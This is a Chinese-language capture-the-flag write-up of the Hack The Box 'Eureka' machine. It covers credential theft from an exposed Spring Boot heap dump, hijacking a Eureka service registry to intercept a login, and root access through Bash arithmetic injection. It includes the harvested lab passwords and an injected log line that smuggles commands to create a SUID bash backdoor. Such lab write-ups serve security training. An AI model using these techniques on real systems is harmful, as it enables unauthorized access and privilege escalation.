HTB Eureka靶机渗透实战 - Spring Boot堆转储与Bash算术注入漏洞利用

news/2025/10/6 8:23:34/文章来源:https://www.cnblogs.com/qife122/p/19127258

侦察

Nmap扫描发现三个开放端口:

  • SSH (22)
  • HTTP (80) - 重定向到furni.htb
  • HTTP (8761) - 需要基本认证

网站分析 - TCP 80

家具商店网站,技术栈为Spring Boot框架。通过feroxbuster目录扫描发现暴露的Actuator端点,特别是/actuator/heapdump堆转储端点。

获取oscar190用户Shell

堆转储分析

下载堆转储文件并使用多种工具分析:

  • VisualVM:图形化分析堆转储
  • JDumpSpider:自动化提取敏感信息

发现关键凭证:

  • 数据库连接字符串:jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}
  • Eureka服务认证:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

SSH访问

使用发现的凭证成功SSH登录:

ssh oscar190@furni.htb
密码:0sc@r190_S0l!dP@sswd

获取miranda-wise用户Shell

系统枚举

发现多个Spring Boot应用:

  • cloud-gateway [TCP 8080]
  • User Management [TCP 8081]
  • Furni website [TCP 8082]
  • Eureka server [TCP 8761]

Spring Cloud Gateway劫持

利用Eureka服务注册机制:

  1. 注册恶意USER-MANAGEMENT-SERVICE实例指向攻击者IP
  2. 删除合法服务实例
  3. 拦截miranda-wise的登录请求

捕获到凭证:IL!veT0Be&BeT0L0ve

SSH访问miranda-wise

ssh miranda-wise@furni.htb
密码:IL!veT0Be&BeT0L0ve

获取root权限

漏洞分析

发现定时任务执行的/opt/log_analyse.sh脚本存在Bash算术注入漏洞:

analyze_http_statuses() {while IFS= read -r line; docode=$(echo "$line" | grep -oP 'Status: \K.*')# 漏洞:code变量直接用于算术比较if [[ "$existing_code" -eq "$code" ]]; then# ...fidone
}

漏洞利用

利用Bash算术表达式注入:

echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log

创建SUID bash后门并获取root shell:

/tmp/0xdf -p

总结

本渗透测试展示了Spring Boot应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/929105.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电子书网站怎么做中国建设工程信息网官网查询

2019独角兽企业重金招聘Python工程师标准>>> 没什么想说的,除了感谢和继续努力外,感谢所有的 oscers 们、感谢 OSC 曾经和现在的小伙伴、感谢我们的合作伙伴。 今年还有4个月,主要工作安排包括: TeamOSC 上线 PaaSO…

吉安市建设规划局网站中山网站网站建设

文章目录 【计算机组成原理2016年真题44题-9分】【第一步:信息提取】【第二步:具体解答】 【计算机组成原理2016年真题45题-14分】【第一步:信息提取】【第二步:具体解答】 【计算机组成原理2016年真题44题-9分】 假定CPU主频为5…

实用指南:Matlab实现LSTM-SVM回归预测,作者:机器学习之心

实用指南:Matlab实现LSTM-SVM回归预测,作者:机器学习之心2025-10-06 08:13 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !importa…

上海代理记账公司排名黑帽seo是什么意思

Nimbus server, 首先从启动命令开始, 同样是使用storm命令"storm nimbus”来启动看下源码, 此处和上面client不同, jvmtype"-server", 最终调用"backtype.storm.daemon.nimbus"的mainnimbus是用clojure实现的, 但是clojure是基于JVM的, 所以在最终发布…

手机照片太多了存哪里? - 实践

手机照片太多了存哪里? - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&quo…

时隔十六年的南京之旅

上一次来,还是一个没有灌木高的小娃娃。我但凡想起南京,是听不懂的金陵话,早上吃的鱼香肉丝包,中午回家要洗的澡,和晚上坐在地板上看大圣哥玩PSP。那是一段非常久远的回忆了,我在尽力的套用相处定理,一旦回到过…

实用指南:Python编程基础(四) | if语句

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

高贵的北上广深,没有父母托举,90后很难成家

微信视频号:sph0RgSyDYV47z6快手号:4874645212抖音号:dy0so323fq2w小红书号:95619019828B站1:UID:3546863642871878B站2:UID: 3546955410049087北上广深,父母不给托举的话,多少人敢结婚?能结婚? 你有没有发现…

视觉设计网站寓意好的公司名字大全免费

什么是Docker?它的主要功能是什么? Docker是一种开源的容器化平台,用于构建、部署和运行应用程序。它的主要功能包括:快速构建、分发和运行应用程序的容器化环境,实现应用程序的可移植性和可扩展性。 Docker和虚拟机…

使用AI图像服务规模化视觉内容生产

本文介绍了某中心云平台中集成的AI图像服务,该服务提供9种专业图像编辑工具,包括对象擦除、背景移除、搜索重着色等功能,帮助创意团队高效生产视觉内容,无需在不同系统间切换即可完成复杂编辑任务。使用AI图像服务…

本地Markdown开源知识库选型指南 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

实用指南:基于贝叶斯优化神经网络的光伏功率预测综述

实用指南:基于贝叶斯优化神经网络的光伏功率预测综述pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&qu…

详细介绍:ROS2与Unitree机器人集成指南

详细介绍:ROS2与Unitree机器人集成指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mo…

长安镇网站建设公司广告公司起名用字大全

yapi是使用vue框架开发的,借助nodejs 前端直接访问的mongodb数据库,离线安装yapi步骤如下 下载离线安装包 下载地址 https://download.csdn.net/download/qq445829096/88778418 离线安装包先复制到 dev/yapi目录(根据自己习惯自定义目录) node-v12.13.0-linux-x64.tar.xz …

外贸网站怎么营销网络营销策略方案

大家好, 在本文中,我们将演示如何正确集成GWT和EJB3 ,以实现示例项目,使用maven进行构建并将其部署在JBoss 5.1应用服务器上。 实际上,您可以轻松地更改maven构建文件中的依赖关系,并将项目部署到您喜欢的…

黑龙江农垦建设局网站网络营销网站源码

centos6.4 32位的vps上装了lnmp以后,phpmyadmin无法连接mysql服务器,ssh命令行里mysql -uroot -p 命令后老是出现拒绝连接的情况。php程序里也是拒绝连接。尝试过修改phpmyadmin的config.inc.php文件,尝试过修改my.cnf文件,尝试过…

plexe 通过提示词构建机器学习模型

plexe 通过提示词构建机器学习模型plexe是一个可以通过提示词构建机器模型的框架 内部如何处理的计划,分析用户意图以及数据,开发模型构建测试 代码生成,通过比较知名的库(tensorflow,pytorch,scikit-learn) 创…

如何用docker部署ELK? - 教程

如何用docker部署ELK? - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

国内自建的海淘网站手机上怎么做投票网站

前言 conda与pip是Python开发中常用的两种工具,conda本质是环境、包管理工具,pip是包管理工具,两者的功能有一定的重叠。本文主要记录开发工作中与两者相关的使用说明与注意事项。 推荐用conda创建隔离的虚拟环境,用pip进行包安…

网站开发的分工网站后台能进前台空白

在三维世界中,显示一张图的大小与摄象机的位置有关,近的地方,图片实际象素就大一些,远的地方图片实际象素就会小一些,就要进行一些压缩,例如一张64*64的图,在近处,显示出来可能是50*50,在远处可能显示出来是20*20. 如果只限于简单的支掉某些像素,将会使缩小后的图片损失很多细节…